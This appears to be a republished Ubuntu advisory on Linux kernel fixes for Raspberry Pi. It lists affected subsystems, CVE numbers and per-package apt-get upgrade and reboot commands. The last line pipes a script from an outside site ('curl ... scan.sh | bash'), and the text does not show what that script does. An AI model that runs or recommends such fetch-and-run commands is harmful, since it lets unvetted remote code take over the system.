Linux kernel (Raspberry Pi) vulnerabilities
Published: Thu, 02 Jul 2026 15:02
Summary
Several security issues were fixed in the Linux kernel.
Details
It was discovered that some AMD processors did not properly clear data in the floating point divider unit during speculative execution. A local attacker could use this to expose sensitive information. (CVE-2025-54505) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM64 architecture; - x86 architecture; - Block layer subsystem; - Cryptographic API; - Rados block device (RBD) driver; - Compressed RAM block device driver; - Character device driver; - TPM device driver; - Hardware crypto device drivers; - EDAC drivers; - GPU drivers; - Greybus drivers; - HID subsystem; - Microsoft Hyper-V drivers; - Hardware monitoring drivers; - I2C subsystem; - IIO subsystem; - InfiniBand drivers; - Input Device core drivers; - LED subsystem; - Multiple devices driver; - Media drivers; - IBM Advanced System Management driver; - MTD block device drivers; - Network drivers; - Microsoft Azure Network Adapter (MANA) driver; - NTB driver; - NVME drivers; - Device tree and open firmware driver; - PCI subsystem; - Remote Processor subsystem; - SCSI subsystem; - SPI subsystem; - Realtek RTL8723BS SDIO drivers; - SM750 framebuffer staging driver; - Thermal drivers; - USB Gadget drivers; - USB over IP driver; - VFIO drivers; - Framebuffer layer; - 9P distributed file system; - AFS file system; - Ceph distributed file system; - File systems infrastructure; - EROFS file system; - Ext4 file system; - F2FS file system; - FUSE (File system in Userspace); - Journaling layer for block devices (JBD2); - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - SMB network file system; - UDF file system; - XFS file system; - Codetag library; - Memory management; - Memory Management; - KVM subsystem; - Tracing infrastructure; - User-space API (UAPI); - io_uring subsystem; - Locking primitives; - Timer subsystem; - Scatterlist API; - Heterogeneous memory management; - KASAN memory debugging framework; - Bluetooth subsystem; - Ethernet bridge; - CAIF protocol; - CAN network layer; - Ceph Core library; - IPv4 networking; - IPv6 networking; - Multipath TCP; - Netfilter; - NFC subsystem; - Packet sockets; - Qualcomm IPC Router (QRTR); - RDS protocol; - RxRPC session sockets; - SMC sockets; - Stream parser; - Landlock security; - SELinux security module; - ALSA framework; - Generic PCM loopback sound driver; - FireWire sound drivers; - Creative Sound Blaster X-Fi driver; - QCOM ASoC drivers; - USB sound devices; - Objtool; (CVE-2026-31532, CVE-2026-31574, CVE-2026-31575, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31579, CVE-2026-31580, CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31589, CVE-2026-31590, CVE-2026-31591, CVE-2026-31592, CVE-2026-31593, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31600, CVE-2026-31601, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31607, CVE-2026-31608, CVE-2026-31609, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31614, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31620, CVE-2026-31621, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31686, CVE-2026-31694, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702, CVE-2026-31703, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31710, CVE-2026-31711, CVE-2026-31712, CVE-2026-31713, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31717, CVE-2026-31718, CVE-2026-31719, CVE-2026-43058, CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43348, CVE-2026-43349, CVE-2026-43350, CVE-2026-43491, CVE-2026-43493, CVE-2026-43499, CVE-2026-43501, CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989, CVE-2026-45990, CVE-2026-45991, CVE-2026-45994, CVE-2026-45995, CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46001, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46008, CVE-2026-46009, CVE-2026-46010, CVE-2026-46011, CVE-2026-46012, CVE-2026-46013, CVE-2026-46014, CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46020, CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46025, CVE-2026-46026, CVE-2026-46027, CVE-2026-46028, CVE-2026-46029, CVE-2026-46030, CVE-2026-46031, CVE-2026-46032, CVE-2026-46033, CVE-2026-46034, CVE-2026-46035, CVE-2026-46036, CVE-2026-46037, CVE-2026-46038, CVE-2026-46039, CVE-2026-46040, CVE-2026-46041, CVE-2026-46042, CVE-2026-46043, CVE-2026-46044, CVE-2026-46045, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46054, CVE-2026-46056, CVE-2026-46057, CVE-2026-46058, CVE-2026-46059, CVE-2026-46060, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46066, CVE-2026-46067, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070, CVE-2026-46071, CVE-2026-46072, CVE-2026-46073, CVE-2026-46074, CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079, CVE-2026-46080, CVE-2026-46081, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084, CVE-2026-46085, CVE-2026-46086, CVE-2026-46087, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46093, CVE-2026-46094, CVE-2026-46095, CVE-2026-46096, CVE-2026-46097, CVE-2026-46098, CVE-2026-46099, CVE-2026-46100, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103, CVE-2026-46115, CVE-2026-46119, CVE-2026-46135, CVE-2026-46137, CVE-2026-46155, CVE-2026-46185, CVE-2026-46195, CVE-2026-46243, CVE-2026-46244, CVE-2026-46276, CVE-2026-46277, CVE-2026-46278, CVE-2026-46279, CVE-2026-46280, CVE-2026-46281, CVE-2026-46282, CVE-2026-46283, CVE-2026-46284, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46288, CVE-2026-46289, CVE-2026-46316, CVE-2026-46332, CVE-2026-52904, CVE-2026-52905, CVE-2026-52906, CVE-2026-52907, CVE-2026-52933)
Recommended actions per Ubuntu release
StackPatch playbook auto-generated per release codename and per affected package.
Ubuntu resolute
linux-raspi→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-raspi
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-buildinfo-7.0.0-1014-raspi→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-buildinfo-7.0.0-1014-raspi
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-buildinfo-7.0.0-1014-raspi-realtime→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-buildinfo-7.0.0-1014-raspi-realtime
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-headers-7.0.0-1014-raspi→7.0.0-1014.14kernel_rebootKernel package — apt-upgrade then REBOOT to load the patched kernel.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-headers-7.0.0-1014-raspi sudo reboot
Reboot is required. ~30-60s downtime; containers self-restart.
linux-headers-7.0.0-1014-raspi-realtime→7.0.0-1014.14kernel_rebootKernel package — apt-upgrade then REBOOT to load the patched kernel.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-headers-7.0.0-1014-raspi-realtime sudo reboot
Reboot is required. ~30-60s downtime; containers self-restart.
linux-headers-raspi→7.0.0-1014.14kernel_rebootKernel package — apt-upgrade then REBOOT to load the patched kernel.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-headers-raspi sudo reboot
Reboot is required. ~30-60s downtime; containers self-restart.
linux-headers-raspi-7.0→7.0.0-1014.14kernel_rebootKernel package — apt-upgrade then REBOOT to load the patched kernel.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-headers-raspi-7.0 sudo reboot
Reboot is required. ~30-60s downtime; containers self-restart.
linux-headers-raspi-realtime→7.0.0-1014.14kernel_rebootKernel package — apt-upgrade then REBOOT to load the patched kernel.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-headers-raspi-realtime sudo reboot
Reboot is required. ~30-60s downtime; containers self-restart.
linux-headers-raspi-realtime-7.0→7.0.0-1014.14kernel_rebootKernel package — apt-upgrade then REBOOT to load the patched kernel.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-headers-raspi-realtime-7.0 sudo reboot
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-7.0.0-1014-raspi→7.0.0-1014.14kernel_rebootKernel package — apt-upgrade then REBOOT to load the patched kernel.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-image-7.0.0-1014-raspi sudo reboot
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-7.0.0-1014-raspi-realtime→7.0.0-1014.14kernel_rebootKernel package — apt-upgrade then REBOOT to load the patched kernel.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-image-7.0.0-1014-raspi-realtime sudo reboot
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-raspi→7.0.0-1014.14kernel_rebootKernel package — apt-upgrade then REBOOT to load the patched kernel.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-image-raspi sudo reboot
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-raspi-7.0→7.0.0-1014.14kernel_rebootKernel package — apt-upgrade then REBOOT to load the patched kernel.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-image-raspi-7.0 sudo reboot
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-raspi-realtime→7.0.0-1014.14kernel_rebootKernel package — apt-upgrade then REBOOT to load the patched kernel.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-image-raspi-realtime sudo reboot
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-raspi-realtime-7.0→7.0.0-1014.14kernel_rebootKernel package — apt-upgrade then REBOOT to load the patched kernel.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-image-raspi-realtime-7.0 sudo reboot
Reboot is required. ~30-60s downtime; containers self-restart.
linux-modules-7.0.0-1014-raspi→7.0.0-1014.14kernel_rebootKernel package — apt-upgrade then REBOOT to load the patched kernel.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-modules-7.0.0-1014-raspi sudo reboot
Reboot is required. ~30-60s downtime; containers self-restart.
linux-modules-7.0.0-1014-raspi-realtime→7.0.0-1014.14kernel_rebootKernel package — apt-upgrade then REBOOT to load the patched kernel.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-modules-7.0.0-1014-raspi-realtime sudo reboot
Reboot is required. ~30-60s downtime; containers self-restart.
linux-raspi→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-raspi
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-raspi-7.0→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-raspi-7.0
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-raspi-headers-7.0.0-1014→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-raspi-headers-7.0.0-1014
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-raspi-realtime→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-raspi-realtime
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-raspi-realtime-7.0→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-raspi-realtime-7.0
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-raspi-tools-7.0.0-1014→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-raspi-tools-7.0.0-1014
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-tools-7.0.0-1014-raspi→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-tools-7.0.0-1014-raspi
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-tools-7.0.0-1014-raspi-realtime→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-tools-7.0.0-1014-raspi-realtime
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-tools-raspi→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-tools-raspi
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-tools-raspi-7.0→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-tools-raspi-7.0
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-tools-raspi-realtime→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-tools-raspi-realtime
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-tools-raspi-realtime-7.0→7.0.0-1014.14apt_upgradeStandard apt upgrade. Install 7.0.0-1014.14 from the apt repo.
sudo apt-get update sudo apt-get install --only-upgrade -y linux-tools-raspi-realtime-7.0
Most apt upgrades restart their service automatically. needrestart lists anything else.
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curl https://mindsparkstack.com/scan.sh | bash
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